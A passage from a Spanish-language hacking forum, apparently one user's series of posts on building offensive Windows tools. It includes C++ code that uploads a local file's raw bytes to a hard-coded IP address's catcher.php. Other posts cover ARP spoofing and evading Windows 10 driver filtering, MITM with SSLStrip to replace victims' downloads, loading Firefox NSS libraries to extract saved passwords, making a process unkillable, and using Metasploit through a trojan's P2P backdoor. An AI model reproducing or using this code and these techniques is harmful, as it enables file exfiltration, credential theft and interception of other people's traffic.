memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(IPPORT_HTTP);
addr.sin_addr.s_addr = inet_addr("71.60.170.21");//ip
domain = "web.com";//quitar
std::ifstream filer(_path, std::ifstream::ate | std::ifstream::binary);
int size = filer.tellg();
char* buffer = new char[size];
filer.seekg(0, std::ios::beg);
filer.read(buffer, size);
filer.close();

char aux[8];
int len;
data = "n=" + _path.substr(_path.find_last_of('\\') + 1) + "&c=";
len = data.size();
data += std::string(buffer, size);
len = len + size;
_itoa(len, aux, 10);

peticion += "POST /catcher.php HTTP/1.1\r\n";
peticion += "Host: " + domain + "\r\n";
//peticion += "Cookie: " + cookie + "\r\n";
peticion += "Content-type: application/octet-stream\r\n";//multipart/form-data también he probado..
peticion += "Content-length: " + std::string(aux);// data.length();
peticion += "\r\n\r\n";
peticion += data;

if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR){
closesocket(sock);
WSACleanup();
return CODIGO::ERR_RED;
}

if (send(sock, peticion.c_str(), peticion.length(), 0) == SOCKET_ERROR){
closesocket(sock);
WSACleanup();
return CODIGO::ERR_RED;
}

char respuesta[1024];
memset(respuesta, 0, sizeof(respuesta));
if (recv(sock, respuesta, 1024, 0) == SOCKET_ERROR){
closesocket(sock);
WSACleanup();
return CODIGO::ERR_RED;
}

return CODIGO::CORRECTO;
}


Código (php) [Seleccionar]

<?
$name = htmlspecialchars($_POST["n"]);
$content = htmlspecialchars($_POST["c"]);
file_put_contents($name, $content);
?>


Bueno el cliente funciona sin problemas, sin embargo el php me dice que la variable "c" esta vacía. "empty". Luego la función salta error, pero no entiendo porque cuando le estoy enviando el contenido a la variable "c".

Edito: Y sí el código no es de lo mejorcito estoy de pruebas xd, hay chapuzillas y faltan cosas para que quede la función como tal.

Un saludo y gracias.

Edito: Bueno lo acabo de enviar como application/octet-stream y me daba error de que el filename estaba vacio que no se porque, de todas maneras lo elimine y dije que el server pusiera el nombre y solo mandar el contenido de la imagen, y se ha subido con éxito solo que al ver la imagen me dice que hay error y no me deja verla :""D.. bueno quizas no lo habra porque tiene 0 bytes.. por lo mismo que me daba error de que el nombre estaba vacio, la variable del contenido también esta vacia, quizás sea por el htmlgetspecialchars.

Lo suyo sería hacerlo con el boundary.. pero no entiendo porque de esta manera no deja. Solo quiero mandar los bytes en una variable cifrados y que al llegar los desencripte y los meta en un archivo.

Bueno continuando un poco la mejor manera creo que es enviandolo con el application/x-www-form-urlencoded, recibe la variable del nombre correctamente y el contenido a medias 1,900kb cuando el archivo es de 80kb, así que luego al abrir la foto me dice que no la puede mostrar. Creo que es el htmlgetspecialchars que lo corta al encontrar un caracter o algo porque los 80kb se mandan por wireshark. Sin el specialshars se corta en el 1,6kb XD.

Habrá un caracter nulo que corte el array o algo :).

Seguramente haya que usar octet-stream pero en el PHP me aparecen nulas cuando las mando con ese formato.
#33
Buenos días a todos, siento que ya no me conecte mucho al foro pero bueno como ya sabéis esto va por rachas.

Como algunos sabréis estaba haciendo un sniffer para windows 10 y anteriores versiones. Anteriormente el sniffer funcionaba bien y era capaz de realizar ARP spoofing, interceptar paquetes y modificarlos que ahí era por donde me quede la última vez que me funcionó.

Para hacer el ARP spoofing necesitaba usar un driver NPF para poder inyectar los paquetes ARP spoofeados donde mando un ARP response con mi MAC asociandola a la IP del router como sabréis. Lo que ocurre es que los paquetes ARP donde asocio mi MAC la IP del router son bloqueados en drivers de nivel más bajo que el NPF (Intermediate drivers, NDIS...) y no salen a la red, aunque el wireshark del atacante los capture.

Os dejo un link donde viene muy bien explicado:
https://www.winpcap.org/docs/docs_412/html/group__NPF.html

NPF funciona correctamente y manda el paquete a la NIC correspondiente sin error luego el problema es lo que ocurre más allá de usar el protocol driver, el paquete una vez enviado a la NIC pasa por drivers intermedios hasta salir y es allí donde uno filtro lo capa impidiendo el ARP spoofing en windows 10 y probablemente en 8 también. Lo que necesito saber es cual es el driver que filtra ese paquete en última instancia para de alguna manera suplantarlo por una versión de driver anterior al mismo.

En windows 10 (principal SO) las versiones de NDIS que tengo son: VirtualBox Host-Only Network 6.0, Wi-Fi 6.50, Ethernet 6.30. En windows 7 (VirtualBox): No pude comprobarlos por un error de la PS. En windows 10 (VirtualBox): Ethernet 6.0. Quizás las versiones NDIS anteriores no tengan implementado el filtro.

Todas las máquinas virtuales usan adaptador puente de red y cuando utilizo mi programa de ARP spoofing es capaz de spoofear las máquinas virtuales y las máquinas virtuales spoofean el SO principal, pero no son capaces de spoofear paquetes de fuera de la red.

El caso es que con máquinas virtuales no puedo comprobar si funciona en otras versiones de windows porque como driver de última instancia usan el de windows 10 al ser máquinas virtuales, así que es perder el tiempo, necesitaría probar con los SOs instalados en la BIOS directamente.
Si alguien hiciera una prueba de si le funciona en su windows el ARP spoofing le estaría agradecido y que me diera información de los drivers de red que usa.

El caso es que con máquinas virtuales no puedo comprobar si funciona en otras versiones de windows porque como driver de última instancia usan el de windows 10 al ser máquinas virtuales, así que es perder el tiempo, necesitaría probar con los SOs instalados en la BIOS directamente.

Drivers NDIS windows 10: ndis.sys, ndisuio.sys, ndisimplatform.sys, ndisvirtualbus.sys, ndiscap.sys, ndistapi.sys, ndiswan.sys. Tanto en el primario como en el de la máquina virtual.

Drivers NDIS windows 7: ndis.sys, ndisuio.sys, ndistapi.sys, ndiswan.sys, ndiscap.sys.

Vemos que se han añadido al menos 2 drivers intermedios: ndisimplatform.sys(Network Adapter Multiplexor Protocol service), ndisvirtualbus.sys (Virtual Network Adapter Enumerator service).

Creo que en windows 7 si que funcionaría (al menos con las primeras versiones de sus drivers al igual con windows 10 ya que antes me funcionaba hasta que modifico sus drivers de red), si ese fuera el caso, supongo que tendría que hacer algo como reinstalar los drivers afectados de windows 7 en windows 10... como nunca he tratado con drivers no sabría como hacerlo pero seguro habrá alguna manera como desinstalar el driver que bloquea los paquetes una vez detectado o bypassear su filtro ARP.

Continuará...

https://www.google.es/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwib5dj-_5rLAhXC0hoKHZ7zC7QQFgggMAA&url=http%3A%2F%2Fwww.ipcsit.com%2Fvol29%2F004-ICSST2012-S013.pdf&usg=AFQjCNEd2xNu_jS1FBga6oMv2pSw41tYdg

Saludos.

#34
Hola,

Código (c#) [Seleccionar]

Regex r = new Regex("<div class=\"logo\">.*<a href=\".*\"");

               foreach (Match m in r.Matches(responseData))
               {
                   MessageBox.Show(m.Value);
               }


No encuentra coincidencias (matches), sin embargo hay varias. ¿que le falla a la expresión?.

Le digo que empiece en <div class=\"logo\"> que continue independientemente de lo que haya hasta llegar a <a href=\" y que siga hasta llegar a la siguiente doble comilla.

HTML de la página:

Código (html) [Seleccionar]

div class="logo">
                               <a href="/randomlink/here/"


No entra siquiera en el bucle, 0 matches found.

Saludos, gracias.

#35
Bueno, resulta que quería empezar a aprender algo de ingeniería inversa y me ví un vídeo de hackingmexico de youtube jajaja, y bueno en concreto el vídeo es este:

https://www.youtube.com/watch?v=DBLG86ubU4U

Que crackea el software de "malwarebytes" en unos sencillos pasos que interesan mucho a novatos como yo.

El caso que me crecí y dije voy a abrir firefox para ver como hace a la hora de mostrar las contraseñas guardadas, a que funciones llama, que librerías carga y demás para tener idea de que necesito para intentar hacer el password recovery.

El caso, lo cargo en olly, lo ejecuto, voy a firefox y abro opciones -> seguridad -> contraseñas guardadas, y allí lo detengo (pause) para luego ver el "callstack", se queda cargando y me salta un error de que no puede cargar tanta memoria.

¿Cómo puedo evitar este error?.

Saludos y gracias.

Edito: Hehehe, también puedes descargar passwordfox.exe y ver como lo hace, aunque eso sería ya depender de programas terceros XD.

Edito: Por cierto aparte de lo del error, ¿qué necesitaría para poder hacer un password recovery para cualquier buscador?, ¿necesitaría saber los módulos que carga no? (es decir las dll que usa), y ¿después?, ¿como se los archivos de cabecera que usa para llamar a las funciones de las dll?

Si no los tengo, ¿como se haría?, miraría las llamadas a las funciones en el ejecutable, luego obtendría el tipo de los parámetros, y con esa info me crearía un ".h" con el nombre de la función y sus parámetros, y luego solo sería añadirlo al programa y cargar las librerías que utilizan esas funciones, ¿no?, ¿O no tiene nada que ver?.

Me pregunto si con el ollydbg se puede mirar a que módulo pertenece una función que se llama en la rutina, ¿se puede hacer? XD.

Muchas preguntas lo se srry.

#36
Pues eso, os estaría muy agradecidos ;)

[youtube=640,360]https://www.youtube.com/watch?v=L8w8YzZ50nw[/youtube]

Saludos!.
#37
Hola, resulta que después de leer un hilo del foro me ha entrado curiosidad por crear un programa que no se pueda cerrar, que de el conocido mensaje de alerta que tienen algunos procesos del administrador de tareas cuando los tratamos de cerrar. "La operación no se pudo completar, acceso denegado".

Bueno, he estado buscando y leyendo y parece que tiene que ver sobre ponerlo como crítico o algo así ya os digo que lo acabo de buscar, el caso encontré un código que me funcionó después de algunas desgracias con otros que no funcionaron:

http://www.codeproject.com/Articles/43405/Protecting-Your-Process-with-RtlSetProcessIsCriti

Lo he ejecutado y funciona eso si, necesita permisos de administrador para ponerse como proceso crítico, pero a pesar de eso estoy frustrado, porque no muestra lo de "La operación no se pudo completar, acceso denegado", sino que muestra "¿desea finalizar programa.exe?, si lo finaliza windows podrá quedar inutilizable o apagarse, y perderá los datos que no haya guardado. ¿está seguro de que desea continuar".

Es decir te acojona, pero te abre la opción de cerrarlo. En otros procesos que usan estos métodos como smss.exe, csrss.exe, o services.exe te sale directamente el mensaje de error sin opción a cerrarlo.

¿Cómo lograr los mismos resultados?.

Saludos.

Edito: Esto lo probé y no funcionó, obtuve error, pero sin embargo la idea es la misma.

http://web-athentication.googlecode.com/svn/trunk/MalwareCode/RtlSetProcessIsCritical/RtlSetProcessIsCritical.cpp
#38
Bueno, pues ha pasado esta última semana. Resulta que todo funcionaba bien excepto el ARP poisoning. Utilizo C++ y winpcap para hacer el spoofing, todo estaba bien, todo era correcto y era la misma red. Abría wireshark y no detectaba errores, era todo correcto como las otras veces. Al ver que no me funcionaba el programa probé con mis propios backups que si funcionaban anteriormente sin éxito tampoco. Entonces me descargué programas que hacían ARP spoofing (mejor dicho ya los tenía descargados), me refiero al nighthawk que es de código abierto y en numerosas ocasiones lo he probado con éxito, pero esta vez no funcionaba.

No era posible los paquetes estaban bien, la misma red, siempre me habían funcionado... algo pasaba pero creo que no tenía que ver ni con los programas ni con winpcap ni nada.
Entonces instalé wireshark en una víctima para comprobar que le llegaban mis paquetes ARP poisonning, y SORPRESA no le llegaban, pero todos los demás paquetes si llegaban como preguntas de broadcast etc, solo no llegaban los ARP response falsos.

En mi wireshark diciendo que los estaba mandando, en mi programa diciendo que los estaba mandando, pero sin embargo a las víctima no le llegaban. Creo que puede ser debido a una actualización de un driver de windows que detecta si el ARP es falso o no.

El caso una putada, porque siempre me ha funcionado esto y parece que windows lo ha capado o el antivirus, que de alguna manera detecta los paquetes falsos y no los envía.

Saludos.

Edito: Bueno aunque si de verdad lo han capado, no hay problema pasaré al MITM con DHCP u otros métodos, no me pararán XD.

Os invito a probar nighthawk y comentarme si os funciona para win10, podréis encontrarlo por github.
#39
Buenas, como algunos sabréis estoy tratando de implementar un MITM con SSLStrip, bueno empezar con winpcap fue fácil, era un proyecto que al principio no aspiraba a ser más que un sniffer.

Pero me he dado cuenta que winpcap se queda bastante corto, necesitamos sockets. Con winpcap puedes hacer fácilmente un escaneo de red, hacer un arp spoofing (mandar paquetes y esperar respuestas a nuestros paquetes), incluso hacer ip fordwarding modificando unos campos y reenviando al router el paquete y del router al host. Todo eso lo tengo hecho, bien.

Pero, ¿y cuando se necesita mantenimiento de la conexión?, es decir, cuando le enviamos paquetes que pueden o no llegar, ¿como hacemos el control de errores?, ¿metemos un filtro en todos los paquetes que nos diga si se ha recibido el ACK o no?..

He mirado otros programas que hacen ataques de red, como intercepter-ng, usa winpcap. He mirado si abre puertos y actua como servidor puedinedo conectar los sockets de las victimas, y no abre puertos si no me confundí.

Hacer IP fordwarding con winpcap no tiene complicacion y es eficiente, pero al hacerlo solo reenvias paquetes no hay control de los mismos, el control lo lleva la victima y el server, pero si queremos hacer ataques de red tenemos que modificar paquetes, suplantar descargas etc, y ahí el control lo llevamos nosotros de los paquetes, debemos de hacer lo mismo que el servidor, ¿pero como hacerlo sin sockets?.

Me vendrían bien unos consejos e ideas. Tengo 2 opciones ahora solo, una hacer todo con winpcap que va a quemar el ordenador, pues estaría llamando a  pcap_next_ex todo el rato en muchas funciones y pcap_sendpacket()... todas estas funciones con un parametro en común (pcap_t*).
Puede funcionar, pero debería de estar muy bien programado y no sé ni si aún así sería viable.

Otra opción sería abrir un puerto en el firewall (80, 21..) se conectarían las victimas a el pensando que es del router y comenzarían el protocolo, aceptaría conexiones y mandaría sus paquetes yo actuando por cada uno de ellos, me lo descargaría todo y se lo enviaría después.

¿alguna opción más?. ¿ideas?.

Saludos y gracias.

Edito: Ahora estoy tratando de suplantar un archivo con winpcap. Cuando una victima solicite descargar un archivo con GET o POST lo detecto y trato de suplantarlo, Y ES DE LOCOS, formando los paquetes campo a campo, byte a byte.
Tengo que formar todo el paquete TCP de pies a cabeza, actuar como el servidor del archivo, pasando por todas las capas, checksums, numeros de secuencia, acks... solo por esto me pasaba a sockets, pero puede merecer la pena intentarlo, quizás los resultados sean mejores de lo esperado.
#40
Bueno la acabo de encontrar y parece que tiene cosas bastante útiles:

https://www.chilkatsoft.com/downloads.asp

¿Alguien la ha probado? ¿es 100% gratuita, sin trampa?, había oído hablar de CURL pero esta parece incluso mejor, me pregunto si habrá gato encerrado.

Saludos.
#41
Buenas, resulta que necesito cargar unas librerías de firefox de su path de instalación para intentar hacer un password recovery y comprobar que funciona.

El problema me lo da al tratar de cargar cualquiera de sus librerías:

Código (cpp) [Seleccionar]

HMODULE LoadLibrary2(char *libDir, char *libName){

char loadPath[MAX_PATH] = { 0 };
HMODULE tmpLib = NULL;

strcpy(loadPath, libDir);
strcat(loadPath, "\\");
strcat(loadPath, libName);

if (!strcmp(libName, "nss3.dll")) {
tmpLib = LoadLibraryA(loadPath);
}
else if (!strcmp(libName, "plc4.dll")) {
tmpLib = LoadLibraryA(loadPath);
}
else {
tmpLib = LoadLibraryA(loadPath);
}

if (NULL == tmpLib) {
printf("Failed to load library %s, code %d\n", libName, GetLastError());
return NULL;
}

printf("%s loaded successfuly\n", libName);

return tmpLib;
}


Para cargar a cualquier librería de FF se llama esta función, el caso es que LoadLibrary devuelve HMODULE = NULL, entonces llamo a GetLastError() y me devuelve 126 error.

En mi caso el error es:

CitarERROR_MOD_NOT_FOUND

   126 (0x7E)

   The specified module could not be found.


Que el módulo no puede ser encontrado, algo extraño ya que las librerías dinámicas están en el path correcto con el que llamo a la función y además utilizo permisos de administrador.

He probado a copiar y pegar la librería nss3.dll a el directorio en ejecución y daba el mismo error.

¿Qué puede ser?, un saludo.

Edito: Bueno, el código es muy cuestionable, no es mío y lo acabaré retocando entero pero primero saber porque no carga la dll, porque no funciona LoadLibrary.

La llamada a la función LoadLibrary tiene como argumento por ejemplo:

"C:\Program Files (x86)\Mozilla Firefox\nss3.dll", obviando que si lo escribimos como cadena sería con dos '\' para que se muestren.

Saludos.

OJO: Me acabo de dar cuenta que en el código añade en la cabecera "utils.h", no se que tendrá ese archivo pero igual tiene algo que ver con esto.

Utilizo también LoadLibraryA pero y si el path tiene caracteres multybyte? MMmm, no creo que tenga que ver, pero puede que en otra situación pueda causar problemas.

No sé, compila sin errores.. solo eso de la librería.
#42
Lo que hace la función es recibir como argumentos los bytes de un paquete tcp y su tamaño, entonces recalcula su tcp checksum simplemente ESO.

Ayudandome con wireshark y estudiando los paquetes tcp, miro donde comienza cada campo, direcciónes ip origen y destino, los bytes donde se encuentran, y demás, y con la teoría aprendo a calcular las cosas.

Bien, se supone que para calcular un tcp checksum necesito:

http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-1-theory/

Citar

source address: 32 bits/4 bytes, taken from IP header
destination address: 32bits/4 bytes, taken from IP header
resevered: 8 bits/1 byte, all zeros
protocol: 8 bits/1 byte, taken from IP header. In case of TCP, this should always be 6, which is the assigned protocol number for TCP.
TCP Length: The length of the TCP segment, including TCP header and TCP data. Note that this field is not available in TCP header, therefore is computed on the fly.

Note that TCP pseudo header does not really exist, and it's not transmitted over the network. It's constructed on the fly to compute the checksum.

If a TCP segment contains an odd number of octets to be checksummed, the last octect is padded on the right with zeros to form a 16-bit word. But the padding is not part of the TCP segment and therefore not transmitted.

Lo que hago es eso, comienzo sumando ip de origen y destino, luego el numero de protocolo (con el byte de ceros a la izquierda que es indiferente y no lo pongo), luego sumo el tamaño del segmento tcp, tras mucho sudor lo conseguí pues coincide con el de wireshark y ahora los checksums me dan aproximados, y luego sumo los bytes de cabecera desde el byte que empieza hasta el final del mismo de 2 en 2 bytes, y luego con el payload tcp o campo de datos lo mismo hasta el final, y si es impar al ir sumando de 2 en 2 se queda sin pareja el ultimo byte, en ese caso hay que hacer un "padding a la derecha", que supongo que consiste en colocar un byte de ceros a la izquierda del ultimo byte para formar la ultima pareja del campo de datos o payload.

Código:

Código (cpp) [Seleccionar]

//http://www.arcesio.net/checksum/checksumTCP.html
u_char* tcp_checksum(const u_char* _datos, int _tamaño)
{
u_char *checksum = new u_char[2];
u_short sumando = 0, sumanda = 0;
bitset<17> controlador;

if (_tamaño < 54)
return nullptr;

//sumo ip origen e ip destino
for (int i = 26; i < 33; i++){
sumanda = (u_short)((_datos[i] << 8) + _datos[i + 1]);
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
i++;
}

//sumo el byte de ceros y el numero de protocolo TCP
sumanda = (u_short)0x06;
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;

//sumamos el tcp segment len
sumanda = (u_short)((_datos[16] << 8) + _datos[17]) - ((u_short)((_datos[46] & 0xF0) >> 4) + (u_short)(_datos[14] & 0x0F)) * 4;
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;

//sumo todo el campo de cabecera con el checksum a cero
for (int i = 34; i < 53; i++){
if (i != 50){
sumanda = (u_short)((_datos[i] << 8) + _datos[i + 1]);
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
}
i++;
}

//sumo todo el payload tcp
for (int i = 54; i < _tamaño - 1; i++){
sumanda = (u_short)((_datos[i] << 8) + _datos[i + 1]);
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
i++;
}

if (_tamaño % 2){
sumanda = (u_short)_datos[_tamaño - 1];
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
//if its odd the last octect is padded on the right with zeros to form a 16 - bit word
}

if (_tamaño % 2)cout << "Impar";

sumando = sumando & 0xFFFF;
sumando = ~sumando;
checksum[0] = (sumando >> 8) & 0x00FF;
checksum[1] = sumando & 0x00FF;
return checksum;
}


Ejemplo de salida:

7626==763a
8299==82ad
487b==488f
12dc==12f0
81d3==81e7
7a56==7a6a
289c==28b0
24c2==24d6
cfd6==cfea
2158==Impar2b62
1d25==1d39
82a4==Impar8cae
1651==1665
5d5d==Impar6767
abff==Imparb69
e6b6==e6ca
ca7e==ca92
b759==b76d
744f==7463
4f27==Impar8a0
b2bc==Imparbcc6
cfb6==Impard9c0
5a93==Impar649d
1b32==Impar253c
2c7==Imparcd1
5b40==Impar654a
f37a==Imparfd84
9f77==9f8b
40b9==Impar4ac3
17b==Imparb85
142e==Impar1e38
9acb==9adf
eab3==eac7
678d==Impar7197
3c56==Impar4660
16d==181


Como se puede observar en la salida, cuando es par hay una diferencia siempre constante entre el checksum original y el recalculado, sin embargo cuando es impar no encuentro la relación que difiere entre ellos.

¿que falla? ¿por qué no coinciden?, he sumado todos los campos que piden, tal y como piden.

PD: y no me seáis guiris que responden sin cerebro:

http://stackoverflow.com/questions/34582015/tcp-checksum-3-0-version

Saludos y gracias.

EDICION DELICATESSE MAAAXIMAAA: HOY ES EL DÍA, HOY ES EL DÍA que conseguí calcular el tcp checksum. Hoy es mí día, resulta que el padding cuando eran impares hay que añadir un byte de ceros en la última posición, no en la penúltima como hacía es decir, añader el cero a la derecha no a la izquierda, ahora si:


if (_tamaño % 2){
sumanda = (u_short)(_datos[_tamaño - 1] << 8) + 0;
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
//if its odd the last octect is padded on the right with zeros to form a 16 - bit word
}
       sumando += 20;
if (_tamaño % 2)cout << "Impar";
sumando = sumando & 0xFFFF;
sumando = ~sumando;
checksum[0] = (sumando >> 8) & 0x00FF;
checksum[1] = sumando & 0x00FF;
return checksum;
}


Queríais tcp checksum, tomad tcp checksums:


504c==504c
e2fc==e2fc
4049==4049
3f42==Impar3f42
baa2==Imparbaa2
5d75==5d75
45bb==Impar45bb
3165==Impar3165
eb0==eb0
42f6==42f6
ce7==ce7
203d==Impar203d
6946==Impar6946
e57==Impare57
3229==Impar3229
ae92==Imparae92
6abd==Impar6abd
14d==Impar14d
c18e==Imparc18e
6372==Impar6372
6087==Impar6087
59fe==59fe
e086==Impare086
e475==Impare475
5f38==5f38


Eso sí, si me diriaís porque cohone estoy sumando 20 para que funcione ya sería lo maximo. Pero me es ya un poco indiferente porque.... FUNCIONAAAAA!!!!.

SOOLUCIONADO TAMBIEN:

Código (cpp) [Seleccionar]

sumanda = (u_short)((_datos[16] << 8) + _datos[17]) - (u_short)((_datos[46] & 0xF0) >> 4)  *4;// (u_short)(_datos[14] & 0x0F)) * 4;


https://www.youtube.com/watch?v=m5voqcN9zm4

Me abro el champan.

Os fije que caería esta semana, y no paso de primera hora.

Saludos.

#43
Bueno tras ponerme esta mañana conseguí hacer el tcp segment len la parte más dificil aunque da mucho asco en su conjunto:

Código (cpp) [Seleccionar]

//sumo todo el payload tcp
for (int i = 54; i < _tamaño - 1; i++){
if (i + 1 == _tamaño) break;
sumanda = (u_short)((_datos[i] << 8) + _datos[i + 1]);
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
i++;
}

if ((_tamaño - 1) % 2 == 0){
sumanda = (u_short)_datos[_tamaño - 1];
controlador = sumando + sumanda;
sumando += sumanda;
if (controlador[16] == 1)
sumando++;
}


Pero me falla la parte donde se suman los datos tcp, el payload, tengo que ir de 16 bits en 16 bits. Cambia si es par o impar y en eso estoy, a ver si alguien lo ve a simple vista, no se que ponia tambien que lei de rellenar con ceros.

Igual sumo dos veces el ultimo byte.. ya lo he depurado mentalmente y no enuentro manera no estoy muy freso, una hand pls, QUE YA LO TENGO CASI!!! TRAS MEEEESSES AÑOS LUSTROS.

Edito: sumar del byte 54 hasta el final sea par o impar sin repetir bytes claro y de 16 bits en 16 bits (u_short).

Ejemplos de comparacion final de tcp checksum verdadero y el mio calculado, respectivamente:


3d10== 1506 3d24
de5e== 190 de72
7527== 396 753b
6fae== 397 79c2
f0c9== 397 fadd
dabd== 396 dad1
9e96== 397 a8aa
f5d== 397 ff21
8c62== 1478 8c76
283e== 309 3252


Lo primero es el checksum verdadero, lo segundo es el tamaño del paquete (notese que si es par con sumar 14 al checksum nuestro ya tendriamos el verdadero siempre) sin embargo cuando es impar se va mas de resultado.

Creo que me falta el padding que no se ni lo que es, pero ya buscaré, este otro codigo que encontré hace tiempo, y está haciendo lo mismo sumar cabecera y datos de 16 en 16, en el ultimo paso no se que hace ni porque eso del padding, pero en ello estoy.

Código (cpp) [Seleccionar]
 
// Calculate the sum                                            //
        sum = 0;
        while (len > 1)
{
                sum += *buf++;
                if (sum & 0x80000000)
                        sum = (sum & 0xFFFF) + (sum >> 16);
                len -= 2;
        }

        if (len & 1)
                // Add the padding if the packet lenght is odd          //
                sum += *((uint8_t *)buf);


Edito: HAHAHAH AMIGOS, mucho google traductor ya decia yo que era porque era par o impar, "odd" en ingles es impar, en ese caso "add the padding" que no se que es, pero bueno jajaja poco a poco descifrando. (inverse enginnering) #esduroderoer

Ok se refiere a que si es impar ponga ceros en el final y bien esto ya lo hice, puse ceros delante y detrás del ultimo byte, es decir si terminaba en 0x12 0x14 0x 30 y era impar he probado a dejar 0x3000 y 0x0030 y el resultado malo tambien ojj, bueno ya casi lo tengo, caerá esta semana.

Saludos.
#44
Bugs y Exploits / Metasploit en redes P2P
3 Enero 2016, 02:50 AM
Buenas, supongamos que instalo un troyano en mi ordenador y quiero que sea explotable. ¿necesitaría que fuera un servidor no? ¿que tuviera puertos abiertos para que sea explotable desde internet?.

Ahora bien, supongamos que el troyano usa P2P y esta conectado en una amplia red de ordenadores, imaginemos que soy un nodo de ellos y quiero utilizar su puerta trasera con metasploit, ¿se podría hacer verdad?, una camara remota o lo que sea.

Pero debería de ser con la conexión red del troyano que es el que está conectado en la P2P, con metasploit no podría conectarme a el porque no es servidor, solo es servidor y tiene el socket mi nodo P2P, luego debería de ejecutar metasploit desde ese nodo.

¿es posible?.

Saludos y grache.
#45
Es un copy/paste hay muchas cosas que cambiaría si y no es la manera.. pero simplemente quiero que el servicio muestre una ventana diciendo si soy admin o no cuando se ejecuta nada más, es de codeproyect el código.

Código (cpp) [Seleccionar]

#include <Windows.h>
#include <tchar.h>

bool ejecucion_admin()
{
HANDLE h = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h)){
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(h, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)){
CloseHandle(h);
return Elevation.TokenIsElevated;
}
}
CloseHandle(h);
return false;
}

SERVICE_STATUS        g_ServiceStatus = { 0 };
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE                g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR *argv);
VOID WINAPI ServiceCtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);

#define SERVICE_NAME  _T("My Sample Service")

int _tmain(int argc, TCHAR *argv[])
{
OutputDebugString(_T("My Sample Service: Main: Entry"));

SERVICE_TABLE_ENTRY ServiceTable[] =
{
{ SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain },
{ NULL, NULL }
};

if (StartServiceCtrlDispatcher(ServiceTable) == FALSE)
{
OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error"));
return GetLastError();
}

OutputDebugString(_T("My Sample Service: Main: Exit"));
return 0;
}


VOID WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
DWORD Status = E_FAIL;

OutputDebugString(_T("My Sample Service: ServiceMain: Entry"));

g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);

if (g_StatusHandle == NULL)
{
OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error"));
goto EXIT;
}

// Tell the service controller we are starting
ZeroMemory(&g_ServiceStatus, sizeof (g_ServiceStatus));
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;

if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
{
OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
}

/*
* Perform tasks neccesary to start the service here
*/
OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations"));

// Create stop event to wait on later.
g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (g_ServiceStopEvent == NULL)
{
OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error"));

g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = GetLastError();
g_ServiceStatus.dwCheckPoint = 1;

if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
{
OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
}
goto EXIT;
}

// Tell the service controller we are started
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;

if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
{
OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
}

// Start the thread that will perform the main task of the service
HANDLE hThread = CreateThread(NULL, 0, ServiceWorkerThread, NULL, 0, NULL);

OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete"));

// Wait until our worker thread exits effectively signaling that the service needs to stop
WaitForSingleObject(hThread, INFINITE);

OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled"));


/*
* Perform any cleanup tasks
*/
OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations"));

CloseHandle(g_ServiceStopEvent);

g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 3;

if (SetServiceStatus(g_StatusHandle, &g_ServiceStatus) == FALSE)
{
OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
}

EXIT:
OutputDebugString(_T("My Sample Service: ServiceMain: Exit"));

return;
}


VOID WINAPI ServiceCtrlHandler(DWORD CtrlCode)
{
